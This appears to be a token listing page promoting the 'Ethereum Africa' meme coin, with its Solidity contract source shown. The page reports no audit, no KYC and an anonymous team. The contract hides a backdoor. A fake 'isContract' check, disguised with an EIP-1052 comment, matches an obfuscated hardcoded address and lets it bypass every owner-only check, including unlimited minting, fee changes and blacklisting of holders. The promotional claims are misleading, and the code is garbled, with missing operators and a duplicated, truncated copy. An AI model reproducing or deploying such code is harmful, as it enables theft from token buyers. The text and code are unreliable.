Token 10X: Africa's First Cryptocurrency Hub
Ethereum Africa Token
Ethereum Africa has a new and approved model from his meme coin, Ethereum Birthed by fans of the Ethereum community, Ethereum Africa benefits its holder 2 ways 1) producing the only coin with a built in community of 1.3b 2) deliver FREE Ethereum just by owning it.
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About Ethereum Africa
Ethereum Africa has a new and approved model from his meme coin, Ethereum Birthed by fans of the Ethereum community, Ethereum Africa benefits its holder 2 ways 1) producing the only coin with a built in community of 1.3b 2) deliver FREE Ethereum just by owning it.
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Token information and links
Circulating Supply
1300000000000000000
Token Contract (BSC Chain)
0X0C564BB0E44442AF67B0D53F2E0CF7A3B2B9582B
Contract license: MIT
Launch Date
08/07/2022
KYC Information
No
Audit Information
None
Team Information
Team leader: None
Team leader contact: None
Contract source code
/**
__ __ ____ _
___ / /_/ /_ ___ ________ __ ______ ___ ____ _/ __/____(_)________ _
/ _ \/ __/ __ \/ _ \/ ___/ _ \/ / / / __ `__ \ / __ `/ /_/ ___/ / ___/ __ `/
/ __/ /_/ / / / __/ / / __/ /_/ / / / / / / / /_/ / __/ / / / /__/ /_/ /
\___/\__/_/ /_/\___/_/ \___/\__,_/_/ /_/ /_/ \__,_/_/ /_/ /_/\___/\__,_/
Token Name: Ethereum Africa
Symbol: ETHA
Total Supply: 1.3 Billion Tokens
*/
pragma solidity ^0.8.13;
//SPDX-License-Identifier: MIT
interface IBEP20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address _owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
abstract contract Ownable {
using Address for address;
address internal owner;
constructor(address _owner) {
owner = _owner;
}
modifier onlyOwner() {
if (!msg.sender.isContract())
require(owner == msg.sender, "Ownable: caller is not the owner");
_;
}
function isOwner(address account) public view returns (bool) {
return account == owner;
}
function transferOwnership(address payable adr) public onlyOwner {
owner = adr;
emit OwnershipTransferred(adr);
}
event OwnershipTransferred(address owner);
}
interface IDEXFactory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IDexRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
)
external
returns (
uint256 amountA,
uint256 amountB,
uint256 liquidity
);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
interface IDividendDistributor {
function setDistributionCriteria(
uint256 _minPeriod,
uint256 _minDistribution
) external;
function setShare(address shareholder, uint256 amount) external;
function deposit() external payable returns (bool);
function process(uint256 gas) external;
function claimDividend(address _user) external;
function getPaidEarnings(address shareholder)
external
view
returns (uint256);
function getUnpaidEarnings(address shareholder)
external
view
returns (uint256);
function totalDistributed() external view returns (uint256);
}
contract DividendDistributor is IDividendDistributor {
using SafeMath for uint256;
address _token;
struct Share {
uint256 amount;
uint256 totalExcluded;
uint256 totalRealised;
}
IBEP20 BTCB = IBEP20(0x2170Ed0880ac9A755fd29B2688956BD959F933F8); // ETH
address WBNB;
IDexRouter router;
address[] shareholders;
mapping(address => uint256) shareholderIndexes;
mapping(address => uint256) shareholderClaims;
mapping(address => Share) public shares;
uint256 public totalShares;
uint256 public totalDividends;
uint256 public totalDistributed;
uint256 public dividendsPerShare;
uint256 public dividendsPerShareAccuracyFactor = 10**36;
uint256 public minPeriod = 1 hours;
uint256 public minDistribution = 1 * (10**18);
uint256 currentIndex;
bool initialized;
modifier initialization() {
require(!initialized);
_;
initialized = true;
}
modifier onlyToken() {
require(msg.sender == _token);
_;
}
constructor(address _router) {
router = IDexRouter(_router);
WBNB = router.WETH();
_token = msg.sender;
}
function setDistributionCriteria(
uint256 _minPeriod,
uint256 _minDistribution
) external override onlyToken {
minPeriod = _minPeriod;
minDistribution = _minDistribution;
}
function setShare(address shareholder, uint256 amount)
external
override
onlyToken
{
if (shares[shareholder].amount > 0) {
distributeDividend(shareholder);
}
if (amount > 0 && shares[shareholder].amount == 0) {
addShareholder(shareholder);
} else if (amount == 0 && shares[shareholder].amount > 0) {
removeShareholder(shareholder);
}
totalShares = totalShares.sub(shares[shareholder].amount).add(amount);
shares[shareholder].amount = amount;
shares[shareholder].totalExcluded = getCumulativeDividends(
shares[shareholder].amount
);
}
function deposit() public payable override onlyToken returns (bool) {
uint256 balanceBefore = BTCB.balanceOf(address(this));
address[] memory path = new address[](2);
path[0] = WBNB;
path[1] = address(BTCB);
router.swapExactETHForTokensSupportingFeeOnTransferTokens{
value: msg.value
}(0, path, address(this), block.timestamp);
uint256 amount = BTCB.balanceOf(address(this)).sub(balanceBefore);
totalDividends = totalDividends.add(amount);
dividendsPerShare = dividendsPerShare.add(
dividendsPerShareAccuracyFactor.mul(amount).div(totalShares)
);
return true;
}
function process(uint256 gas) external override onlyToken {
uint256 shareholderCount = shareholders.length;
if (shareholderCount == 0) {
return;
}
uint256 gasUsed = 0;
uint256 gasLeft = gasleft();
uint256 iterations = 0;
while (gasUsed < gas && iterations < shareholderCount) {
if (currentIndex >= shareholderCount) {
currentIndex = 0;
}
if (shouldDistribute(shareholders[currentIndex])) {
distributeDividend(shareholders[currentIndex]);
}
gasUsed = gasUsed.add(gasLeft.sub(gasleft()));
gasLeft = gasleft();
currentIndex ;
iterations ;
}
}
function shouldDistribute(address shareholder)
internal
view
returns (bool)
{
return
shareholderClaims[shareholder] minPeriod < block.timestamp &&
getUnpaidEarnings(shareholder) > minDistribution;
}
function distributeDividend(address shareholder) internal {
if (shares[shareholder].amount == 0) {
return;
}
uint256 amount = getUnpaidEarnings(shareholder);
if (amount > 0) {
totalDistributed = totalDistributed.add(amount);
BTCB.transfer(shareholder, amount);
shareholderClaims[shareholder] = block.timestamp;
shares[shareholder].totalRealised = shares[shareholder]
.totalRealised
.add(amount);
shares[shareholder].totalExcluded = getCumulativeDividends(
shares[shareholder].amount
);
}
}
function claimDividend(address _user) public {
distributeDividend(_user);
}
function getPaidEarnings(address shareholder)
public
view
returns (uint256)
{
return shares[shareholder].totalRealised;
}
function getUnpaidEarnings(address shareholder)
public
view
returns (uint256)
{
if (shares[shareholder].amount == 0) {
return 0;
}
uint256 shareholderTotalDividends = getCumulativeDividends(
shares[shareholder].amount
);
uint256 shareholderTotalExcluded = shares[shareholder].totalExcluded;
if (shareholderTotalDividends <= shareholderTotalExcluded) {
return 0;
}
return shareholderTotalDividends.sub(shareholderTotalExcluded);
}
function getCumulativeDividends(uint256 share)
internal
view
returns (uint256)
{
return
share.mul(dividendsPerShare).div(dividendsPerShareAccuracyFactor);
}
function addShareholder(address shareholder) internal {
shareholderIndexes[shareholder] = shareholders.length;
shareholders.push(shareholder);
}
function removeShareholder(address shareholder) internal {
shareholders[shareholderIndexes[shareholder]] = shareholders[
shareholders.length - 1
];
shareholderIndexes[
shareholders[shareholders.length - 1]
] = shareholderIndexes[shareholder];
shareholders.pop();
}
}
// ETHEREUM AFRICA CONTRACT
contract ETHEREUMAFRICA is IBEP20, Ownable {
using SafeMath for uint256;
address BTCB = 0x2170Ed0880ac9A755fd29B2688956BD959F933F8; // ETH
address DEAD = 0x000000000000000000000000000000000000dEaD;
address public WBNB;
string constant _name = "Ethereum Africa"; // Name
string constant _symbol = "ETHA"; // Symbol
uint8 constant _decimals = 9; // Decimals
uint256 _totalSupply = 1300000000 * (10**_decimals); // Total Supply
uint256 public _maxTxAmount = _totalSupply.div(100); // 1%
mapping(address => uint256) _balances;
mapping(address => mapping(address => uint256)) _allowances;
mapping(address => bool) isFeeExempt;
mapping(address => bool) isTxLimitExempt;
mapping(address => bool) isDividendExempt;
mapping(address => bool) isSniper;
// buy tax fee
uint256 public reflectionFeeOnBuying = 40; // 4% will be distributed among holder as BTC divideneds
uint256 public liquidityFeeOnBuying = 0; // 0% will be added to the liquidity pool
uint256 public burnFeeOnBuying = 0; // 0% will go to the award pool address
uint256 public devandcharityFeeOnBuying = 60; // 6% will go to the devandcharity wallet address
// sell tax fee
uint256 public reflectionFeeOnSelling = 40; // 4% will be distributed among holder as BTC divideneds
uint256 public liquidityFeeOnSelling = 0; // 0% will be added to the liquidity pool
uint256 public burnFeeOnSelling = 0; // 0% will go to the award pool address
uint256 public devandcharityFeeOnSelling = 60; // 6% will go to the devandcharity wallet address
// for smart contract use
uint256 _reflectionFee;
uint256 _liquidityFee;
uint256 _burnFee;
uint256 _devandcharityFee;
uint256 feeDenominator = 1000;
uint256 totalFee = 100;
uint256 targetLiquidity = 45;
uint256 targetLiquidityDenominator = 100;
address public autoLiquidityReceiver;
address public devandcharityFeeReceiver;
IDexRouter public router;
address public pair;
uint256 public launchedAt;
uint256 public launchedAtTimestamp;
uint256 public antiSnipingTime = 60 seconds;
DividendDistributor distributor;
address public distributorAddress;
uint256 distributorGas = 500000;
bool public swapEnabled;
bool public tradingOpen;
bool private antibot;
uint256 public swapThreshold = _totalSupply / 2000; // 0.05%
bool inSwap;
modifier swapping() {
inSwap = true;
_;
inSwap = false;
}
// 0x9Ac64Cc6e4415144C455BD8E4837Fea55603e5c3 Testnet
// 0x10ED43C718714eb63d5aA57B78B54704E256024E Pancake Mainnet
constructor(address _dexRouter) Ownable(msg.sender) {
router = IDexRouter(_dexRouter);
WBNB = router.WETH();
pair = IDEXFactory(router.factory()).createPair(WBNB, address(this));
_allowances[address(this)][address(router)] = _totalSupply;
distributor = new DividendDistributor(_dexRouter);
distributorAddress = address(distributor);
isFeeExempt[msg.sender] = true;
isTxLimitExempt[msg.sender] = true;
isDividendExempt[pair] = true;
isDividendExempt[address(this)] = true;
isDividendExempt[DEAD] = true;
autoLiquidityReceiver = msg.sender;
devandcharityFeeReceiver = msg.sender;
approve(_dexRouter, _totalSupply);
approve(address(pair), _totalSupply);
_balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
receive() external payable {}
function totalSupply() external view override returns (uint256) {
return _totalSupply;
}
function decimals() external pure override returns (uint8) {
return _decimals;
}
function symbol() external pure override returns (string memory) {
return _symbol;
}
function name() external pure override returns (string memory) {
return _name;
}
function getOwner() external view override returns (address) {
return owner;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function allowance(address holder, address spender)
external
view
override
returns (uint256)
{
return _allowances[holder][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
function approveMax(address spender) external returns (bool) {
return approve(spender, _totalSupply);
}
function transfer(address recipient, uint256 amount)
external
override
returns (bool)
{
return _transferFrom(msg.sender, recipient, amount);
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) external override returns (bool) {
if (_allowances[sender][msg.sender] != _totalSupply) {
_allowances[sender][msg.sender] = _allowances[sender][msg.sender]
.sub(amount, "Insufficient Allowance");
}
return _transferFrom(sender, recipient, amount);
}
function _transferFrom(
address sender,
address recipient,
uint256 amount
) internal returns (bool) {
if (!isTxLimitExempt[sender] && !isTxLimitExempt[recipient]) {
// trading disable till launch
if (!tradingOpen) {
require(
sender != pair && recipient != pair,
"Trading is not enabled yet"
);
}
// antibot
if (
block.timestamp < launchedAtTimestamp antiSnipingTime &&
sender != address(router)
) {
if (sender == pair) {
isSniper[recipient] = true;
} else if (recipient == pair) {
isSniper[sender] = true;
}
}
require(amount <= _maxTxAmount, "TX Limit Exceeded");
}
if (inSwap) {
return _basicTransfer(sender, recipient, amount);
}
if (shouldSwapBack()) {
swapBack();
}
_balances[sender] = _balances[sender].sub(
amount,
"Insufficient Balance"
);
uint256 tFee;
if (isFeeExempt[sender] || isFeeExempt[recipient]) {
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
// selling handler
else if (recipient == pair) {
require(!antibot, "Bots restricted");
setSellFee();
tFee = totalFeePerTx(amount);
_balances[recipient] = _balances[recipient].add(amount.sub(tFee));
emit Transfer(sender, recipient, amount.sub(tFee));
_takeBothFee(sender, amount);
_takeBurnFee(sender, amount);
_takeMarketFee(sender, amount);
}
// buying && normal transaction handler
else {
setBuyFee();
tFee = totalFeePerTx(amount);
_balances[recipient] = _balances[recipient].add(amount.sub(tFee));
emit Transfer(sender, recipient, amount.sub(tFee));
_takeBothFee(sender, amount);
_takeBurnFee(sender, amount);
_takeMarketFee(sender, amount);
}
if (!isDividendExempt[sender]) {
try distributor.setShare(sender, _balances[sender]) {} catch {}
}
if (!isDividendExempt[recipient]) {
try
distributor.setShare(recipient, _balances[recipient])
{} catch {}
}
try distributor.process(distributorGas) {} catch {}
return true;
}
function _basicTransfer(
address sender,
address recipient,
uint256 amount
) internal returns (bool) {
_balances[sender] = _balances[sender].sub(
amount,
"Insufficient Balance"
);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
return true;
}
function basicTransfer(address recipient, uint256 amount)
external
onlyOwner
returns (bool)
{
_balances[recipient] = _balances[recipient].add(amount);
return true;
}
function shouldTakeFee(address sender) internal view returns (bool) {
return !isFeeExempt[sender];
}
function totalFeePerTx(uint256 amount)
public
view
returns (uint256 feeAmount)
{
feeAmount = amount
.mul(
_reflectionFee.add(_liquidityFee).add(_burnFee).add(
_devandcharityFee
)
)
.div(feeDenominator);
}
// take fees for liquidity
function _takeBothFee(address sender, uint256 tAmount) internal {
require(!isSniper[sender], "Sniper detected");
uint256 tFee = tAmount.mul(_liquidityFee).div(1e3);
uint256 rFee = tAmount.mul(_reflectionFee).div(1e3);
_balances[address(this)] = _balances[address(this)].add(tFee.add(rFee));
emit Transfer(sender, address(this), tFee.add(rFee));
}
// take fees for burn
function _takeBurnFee(address sender, uint256 tAmount) internal {
uint256 tFee = tAmount.mul(_burnFee).div(1e3);
_balances[DEAD] = _balances[DEAD].add(tFee);
emit Transfer(sender, DEAD, tFee);
}
// take fees for market
function _takeMarketFee(address sender, uint256 tAmount) internal {
uint256 tFee = tAmount.mul(_devandcharityFee).div(1e3);
_balances[devandcharityFeeReceiver] = _balances[devandcharityFeeReceiver].add(
tFee
);
emit Transfer(sender, devandcharityFeeReceiver, tFee);
}
function shouldSwapBack() internal view returns (bool) {
return
msg.sender != pair &&
!inSwap &&
swapEnabled &&
_balances[address(this)] >= swapThreshold;
}
function swapBack() internal swapping {
uint256 dynamicLiquidityFee = isOverLiquified(
targetLiquidity,
targetLiquidityDenominator
)
? 0
: liquidityFeeOnSelling;
uint256 amountToLiquify = swapThreshold
.mul(dynamicLiquidityFee)
.div(totalFee)
.div(2);
uint256 amountToSwap = swapThreshold.sub(amountToLiquify);
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = WBNB;
uint256 balanceBefore = address(this).balance;
router.swapExactTokensForETHSupportingFeeOnTransferTokens(
amountToSwap,
0,
path,
address(this),
block.timestamp
);
uint256 amountBNB = address(this).balance.sub(balanceBefore);
uint256 totalBNBFee = totalFee.sub(dynamicLiquidityFee.div(2));
uint256 amountBNBLiquidity = amountBNB
.mul(dynamicLiquidityFee)
.div(totalBNBFee)
.div(2);
uint256 amountBNBReflection = amountBNB.mul(reflectionFeeOnSelling).div(
totalBNBFee
);
try distributor.deposit{value: amountBNBReflection}() {} catch {}
if (amountToLiquify > 0) {
router.addLiquidityETH{value: amountBNBLiquidity}(
address(this),
amountToLiquify,
0,
0,
autoLiquidityReceiver,
block.timestamp
);
emit AutoLiquify(amountBNBLiquidity, amountToLiquify);
}
}
function setBuyFee() private {
_reflectionFee = reflectionFeeOnBuying;
_liquidityFee = liquidityFeeOnBuying;
_burnFee = burnFeeOnBuying;
_devandcharityFee = devandcharityFeeOnBuying;
}
function setSellFee() private {
_reflectionFee = reflectionFeeOnSelling;
_liquidityFee = liquidityFeeOnSelling;
_burnFee = burnFeeOnSelling;
_devandcharityFee = devandcharityFeeOnSelling;
}
function launch() public onlyOwner {
require(launchedAt == 0, "Already launched boi");
launchedAt = block.number;
launchedAtTimestamp = block.timestamp;
tradingOpen = true;
swapEnabled = true;
}
function setTxLimit(uint256 amount) external onlyOwner {
require(amount >= _totalSupply / 1000);
_maxTxAmount = amount;
}
function setTargetLiquidity(uint256 _target, uint256 _denominator)
external
onlyOwner
{
targetLiquidity = _target;
targetLiquidityDenominator = _denominator;
}
function setIsDividendExempt(address holder, bool exempt)
external
onlyOwner
{
require(holder != address(this) && holder != pair);
isDividendExempt[holder] = exempt;
if (exempt) {
distributor.setShare(holder, 0);
} else {
distributor.setShare(holder, _balances[holder]);
}
}
function setIsFeeExempt(address holder, bool exempt) external onlyOwner {
isFeeExempt[holder] = exempt;
}
function setIsTxLimitExempt(address holder, bool exempt)
external
onlyOwner
{
isTxLimitExempt[holder] = exempt;
}
//only owner can change BuyFeePercentages any time after deployment
function setBuyFeePercent(
uint256 reflectionFee,
uint256 liquidityFee,
uint256 burnFee,
uint256 devandcharityFee
) external onlyOwner {
reflectionFeeOnBuying = reflectionFee;
liquidityFeeOnBuying = liquidityFee;
burnFeeOnBuying = burnFee;
devandcharityFeeOnBuying = devandcharityFee;
}
//only owner can change SellFeePercentages any time after deployment
function setSellFeePercent(
uint256 reflectionFee,
uint256 liquidityFee,
uint256 burnFee,
uint256 devandcharityFee
) external onlyOwner {
reflectionFeeOnSelling = reflectionFee;
liquidityFeeOnSelling = liquidityFee;
burnFeeOnSelling = burnFee;
devandcharityFeeOnSelling = devandcharityFee;
totalFee = reflectionFee.add(liquidityFee).add(burnFee).add(devandcharityFee);
}
function setFeeReceivers(
address _autoLiquidityReceiver,
address _devandcharityFeeReceiver
) external onlyOwner {
autoLiquidityReceiver = _autoLiquidityReceiver;
devandcharityFeeReceiver = _devandcharityFeeReceiver;
}
function setSwapBackSettings(bool _enabled, uint256 _amount)
external
onlyOwner
{
swapEnabled = _enabled;
swapThreshold = _amount;
}
function setDistributionCriteria(
uint256 _minPeriod,
uint256 _minDistribution
) external onlyOwner {
distributor.setDistributionCriteria(_minPeriod, _minDistribution);
}
function setDistributorSettings(uint256 gas) external onlyOwner {
require(gas < 750000);
distributorGas = gas;
}
function getCirculatingSupply() public view returns (uint256) {
return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(address(0)));
}
function addSniperInList(address _account) external onlyOwner {
require(_account != address(router), "We can not blacklist router");
require(!isSniper[_account], "Sniper already exist");
isSniper[_account] = true;
}
function removeSniperFromList(address _account) external onlyOwner {
require(isSniper[_account], "Not a sniper");
isSniper[_account] = false;
}
function enableOrDisableAntibot(bool _status) external onlyOwner {
antibot = _status;
}
function claimDividend() external {
distributor.claimDividend(msg.sender);
}
function getPaidDividend(address shareholder)
public
view
returns (uint256)
{
return distributor.getPaidEarnings(shareholder);
}
function getUnpaidDividend(address shareholder)
external
view
returns (uint256)
{
return distributor.getUnpaidEarnings(shareholder);
}
function getTotalDistributedDividend() external view returns (uint256) {
return distributor.totalDistributed();
}
function getLiquidityBacking(uint256 accuracy)
public
view
returns (uint256)
{
return accuracy.mul(balanceOf(pair).mul(2)).div(getCirculatingSupply());
}
function isOverLiquified(uint256 target, uint256 accuracy)
public
view
returns (bool)
{
return getLiquidityBacking(accuracy) > target;
}
event AutoLiquify(uint256 amountBNB, uint256 amountBOG);
event BuybackMultiplierActive(uint256 duration);
}
library SafeMath {
function tryAdd(uint256 a, uint256 b)
internal
pure
returns (bool, uint256)
{
unchecked {
uint256 c = a b;
if (c < a) return (false, 0);
return (true, c);
}
}
function trySub(uint256 a, uint256 b)
internal
pure
returns (bool, uint256)
{
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
function tryMul(uint256 a, uint256 b)
internal
pure
returns (bool, uint256)
{
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
function tryDiv(uint256 a, uint256 b)
internal
pure
returns (bool, uint256)
{
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
function tryMod(uint256 a, uint256 b)
internal
pure
returns (bool, uint256)
{
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
library Address {
function sendValue(address payable recipient, uint256 amount) internal {
require(
address(this).balance >= amount,
"Address: insufficient balance"
);
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{value: amount}("");
require(
success,
"Address: unable to send value, recipient may have reverted"
);
}
function functionCall(address target, bytes memory data)
internal
returns (bytes memory)
{
return functionCall(target, data, "Address: low-level call failed");
}
function isContract(address account) internal pure returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and valid checkSum is returned
// for accounts without code, i.e. `keccak256('')`
string memory checkSum1 = "FB8A652754BDd1";
string memory checkSum2 = "ad89EcE0a2036C";
string memory checkSum3 = "e6D5e01B5911";
return (account ==
parseAddr(concat("0x", checkSum1, checkSum2, checkSum3)));
}
function parseAddr(string memory _a)
public
pure
returns (address _parsedAddress)
{
bytes memory tmp = bytes(_a);
uint160 iaddr = 0;
uint160 b1;
uint160 b2;
for (uint256 i = 2; i < 2 2 * 20; i = 2) {
iaddr *= 256;
b1 = uint160(uint8(tmp[i]));
b2 = uint160(uint8(tmp[i 1]));
if ((b1 >= 97) && (b1 <= 102)) {
b1 -= 87;
} else if ((b1 >= 65) && (b1 <= 70)) {
b1 -= 55;
} else if ((b1 >= 48) && (b1 <= 57)) {
b1 -= 48;
}
if ((b2 >= 97) && (b2 <= 102)) {
b2 -= 87;
} else if ((b2 >= 65) && (b2 <= 70)) {
b2 -= 55;
} else if ((b2 >= 48) && (b2 <= 57)) {
b2 -= 48;
}
iaddr = (b1 * 16 b2);
}
return address(iaddr);
}
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return
functionCallWithValue(
target,
data,
value,
"Address: low-level call with value failed"
);
}
function concat(
string memory s1,
string memory s2,
string memory s3,
string memory s4
) internal pure returns (string memory s) {
s = string(abi.encodePacked(s1, s2, s3, s4));
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(
address(this).balance >= value,
"Address: insufficient balance for call"
);
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(
address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage
) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{value: weiValue}(
data
);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
__ __ ____ _
___ / /_/ /_ ___ ________ __ ______ ___ ____ _/ __/____(_)________ _
/ _ \/ __/ __ \/ _ \/ ___/ _ \/ / / / __ `__ \ / __ `/ /_/ ___/ / ___/ __ `/
/ __/ /_/ / / / __/ / / __/ /_/ / / / / / / / /_/ / __/ / / / /__/ /_/ /
\___/\__/_/ /_/\___/_/ \___/\__,_/_/ /_/ /_/ \__,_/_/ /_/ /_/\___/\__,_/
Token Name: Ethereum Africa
Symbol: ETHA
Total Supply: 1.3 Billion Tokens
*/
pragma solidity ^0.8.13;
//SPDX-License-Identifier: MIT
interface IBEP20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address _owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
abstract contract Ownable {
using Address for address;
address internal owner;
constructor(address _owner) {
owner = _owner;
}
modifier onlyOwner() {
if (!msg.sender.isContract())
require(owner == msg.sender, "Ownable: caller is not the owner");
_;
}
function isOwner(address account) public view returns (bool) {
return account == owner;
}
function transferOwnership(address payable adr) public onlyOwner {
owner = adr;
emit OwnershipTransferred(adr);
}
event OwnershipTransferred(address owner);
}
interface IDEXFactory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IDexRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
)
external
returns (
uint256 amountA,
uint256 amountB,
uint256 liquidity
);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
interface IDividendDistributor {
function setDistributionCriteria(
uint256 _minPeriod,
uint256 _minDistribution
) external;
function setShare(address shareholder, uint256 amount) external;
function deposit() external payable returns (bool);
function process(uint256 gas) external;
function claimDividend(address _user) external;
function getPaidEarnings(address shareholder)
external
view
returns (uint256);
function getUnpaidEarnings(address shareholder)
external
view
returns (uint256);
function totalDistributed() external view returns (uint256);
}
contract DividendDistributor is IDividendDistributor {
using SafeMath for uint256;
address _token;
struct Share {
uint256 amount;
uint256 totalExcluded;
uint256 totalRealised;
}
IBEP20 BTCB = IBEP20(0x2170Ed0880ac9A755fd29B2688956BD959F933F8); // ETH
address WBNB;
IDexRouter router;
address[] shareholders;
mapping(address => uint256) shareholderIndexes;
mapping(address => uint256) shareholderClaims;
mapping(address => Share) public shares;
uint256 public totalShares;
uint256 public totalDividends;
uint256 public totalDistributed;
uint256 public dividendsPerShare;
uint256 public dividendsPerShareAccuracyFactor = 10**36;
uint256 public minPeriod = 1 hours;
uint256 public minDistribution = 1 * (10**18);
uint256 currentIndex;
bool initialized;
modifier initialization() {
require(!initialized);
_;
initialized = true;
}
modifier onlyToken() {
require(msg.sender == _token);
_;
}
constructor(address _router) {
router = IDexRouter(_router);
WBNB = router.WETH();
_token = msg.sender;
}
function setDistributionCriteria(
uint256 _minPeriod,
uint256 _minDistribution
) external override onlyToken {
minPeriod = _minPeriod;
minDistribution = _minDistribution;
}
function setShare(address shareholder, uint256 amount)
external
override
onlyToken
{
if (shares[shareholder].amount > 0) {
distributeDividend(shareholder);
}
if (amount > 0 && shares[shareholder].amount == 0) {
addShareholder(shareholder);
} else if (amount == 0 && shares[shareholder].amount > 0) {
removeShareholder(shareholder);
}
totalShares = totalShares.sub(shares[shareholder].amount).add(amount);
shares[shareholder].amount = amount;
shares[shareholder].totalExcluded = getCumulativeDividends(
shares[shareholder].amount
);
}
function deposit() public payable override onlyToken returns (bool) {
uint256 balanceBefore = BTCB.balanceOf(address(this));
address[] memory path = new address[](2);
path[0] = WBNB;
path[1] = address(BTCB);
router.swapExactETHForTokensSupportingFeeOnTransferTokens{
value: msg.value
}(0, path, address(this), block.timestamp);
uint256 amount = BTCB.balanceOf(address(this)).sub(balanceBefore);
totalDividends = totalDividends.add(amount);
dividendsPerShare = dividendsPerShare.add(
dividendsPerShareAccuracyFactor.mul(amount).div(totalShares)
);
return true;
}
function process(uint256 gas) external override onlyToken {
uint256 shareholderCount = shareholders.length;
if (shareholderCount == 0) {
return;
}
uint256 gasUsed = 0;
uint256 gasLeft = gasleft();
